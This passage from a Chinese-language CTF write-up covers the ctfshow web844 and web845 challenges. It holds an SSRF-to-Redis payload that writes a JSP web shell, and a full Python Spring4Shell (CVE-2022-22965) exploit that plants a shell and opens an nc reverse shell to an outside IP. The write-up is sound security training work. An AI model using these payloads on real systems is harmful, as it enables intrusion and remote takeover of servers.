        oos.writeObject(config);
        oos.close();

        String base64Str = Base64.getEncoder().encodeToString(barr.toByteArray());
        String urlEncoded = URLEncoder.encode(base64Str, "UTF-8");
        System.out.println(urlEncoded);
    }
}

web844

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctfshow.controller;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Map;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;

@Controller
@RequestMapping({"/"})
public class IndexController {
    @RequestMapping(
        value = {"/"},
        method = {RequestMethod.GET},
        produces = {"text/html;charset=utf-8"}
    )
    public ModelAndView index() {
        ModelAndView modelAndView = new ModelAndView();
        modelAndView.setViewName("index");
        return modelAndView;
    }

    @RequestMapping(
        value = {"/goPage"},
        method = {RequestMethod.GET}
    )
    @ResponseBody
    public String goPage(@RequestParam Map<String, String> param) {
        String result = "";
        String request = "";
        String url = (String)param.get("url");
        String port = (String)param.get("port");
        if (null != url && null != param && !param.isEmpty()) {
            try {
                Socket socket = new Socket(url, Integer.valueOf(port));
                OutputStream out = socket.getOutputStream();
                BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream(), "UTF-8"));

                for(Map.Entry<String, String> p : param.entrySet()) {
                    request = request + (String)p.getKey() + (String)p.getValue() + "\r\n";
                }

                out.write(request.getBytes());

                String line;
                while((line = in.readLine()) != null) {
                    result = result + line;
                }
            } catch (Exception e) {
                e.printStackTrace();
                result = "request error";
            }

            return result;
        } else {
            result = "url error";
            return result;
        }
    }
}

goPage 方法遍历所有参数并进行 tcp 连接,明显的 ssrf 漏洞,并且发现后端有 redis 服务

1
/goPage?url=127.0.0.1&port=6379&config%20set%20dir%20%2fusr%2flocal%2ftomcat%2fwebapps%2fROOT%2f%0d%0aconfig%20set%20dbfilename%20d.jsp%0d%0aset%20x%20%22%5cn%5cn%3c%25%20Runtime.getRuntime().exec(request.getParameter(%5c%22cmd%5c%22))%3b%25%3e%5cn%5cn%22%0d%0asave%0d%0aquit=

一口气执行完,避免 java 连接时等待结果无反应导致超时

1
2
3
/d.jsp?cmd=cp%20/flag%20/usr/local/tomcat/webapps/ROOT/flag.txt

/flag.txt

还是想着有回显的会方便点,多次调整,主要是需要设置config set rdbcompression no,不然 Redis 默认开启了 RDB 压缩,木马内容就乱了

1
/goPage?url=127.0.0.1&port=6379&config%20set%20dir%20%2fusr%2flocal%2ftomcat%2fwebapps%2fROOT%2f%0d%0aconfig%20set%20dbfilename%20f.jsp%0d%0aconfig%20set%20rdbcompression%20no%0d%0aset%20x%20%22%5cn%5cn%3c%25%20if(request.getParameter(%5c%22cmd%5c%22)!%3dnull)%7b%20java.io.InputStream%20in%20%3d%20Runtime.getRuntime().exec(request.getParameter(%5c%22cmd%5c%22)).getInputStream()%3b%20int%20a%20%3d%20-1%3b%20byte%5b%5d%20b%20%3d%20new%20byte%5b2048%5d%3b%20while((a%3din.read(b))!%3d-1)%7b%20out.println(new%20String(b))%3b%20%7d%20%7d%20%25%3e%5cn%5cn%22%0d%0asave%0d%0aquit=

web845

📎readMe.pdf

看文章就能复现出来,Spring4Shell (CVE-2022-22965),想打那种不带 header 的表达式注入的,但是好像没成功

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import httpx
import time
import warnings

warnings.filterwarnings("ignore")

url = "https://55a15450-587d-494f-a977-5093475b57a1.challenge.ctf.show/"
reverse_shell_cmd = "nc 154.36.181.12 12345 -e /bin/sh"

def exploit():
    client = httpx.Client(verify=False, timeout=10.0)
    
    jsp_payload = '<% { String x=request.getParameter(new String(new byte[]{97})); if(x!=null){Runtime.getRuntime().exec(x);} } %>'
    
    headers = {
        "p": jsp_payload,
        "User-Agent": "Mozilla/5.0"
    }

    params = {
        "class.module.classLoader.resources.context.parent.pipeline.first.pattern": "%{p}i",
        "class.module.classLoader.resources.context.parent.pipeline.first.suffix": ".jsp",
        "class.module.classLoader.resources.context.parent.pipeline.first.directory": "webapps/ROOT",
        "class.module.classLoader.resources.context.parent.pipeline.first.prefix": "shell_ok", 
        "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat": ""
    }

    try:
        print(f"[*] Target: {url}")
        
        client.get(url, headers=headers, params=params)
        
        for _ in range(5):
            client.get(url, headers=headers)
            time.sleep(0.5)
        
        shell_url = url + "shell_ok.jsp"
        time.sleep(2)
        
        check = client.get(shell_url)
        if check.status_code == 200:
            print(f"[+] Shell confirmed at: {shell_url}")
            print(f"[*] Executing reverse shell: {reverse_shell_cmd}")
            
            try:
                client.get(shell_url, params={"a": reverse_shell_cmd}, timeout=2.0)
            except httpx.ReadTimeout:
                print("[+] Request timed out (Expected for reverse shell). Check your listener!")
        else:
            print(f"[-] Shell check failed with status: {check.status_code}")

    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        client.close()

if __name__ == "__main__":
    exploit()

img

运行一次不行再运行一次,靶机可能初始化有点久

小结

jwt 和 sql 注入那题比较麻烦,其他题目做起来都挺顺利的(可能是因为这是22年的题目了吧😸

Licensed under CC BY-NC-SA 4.0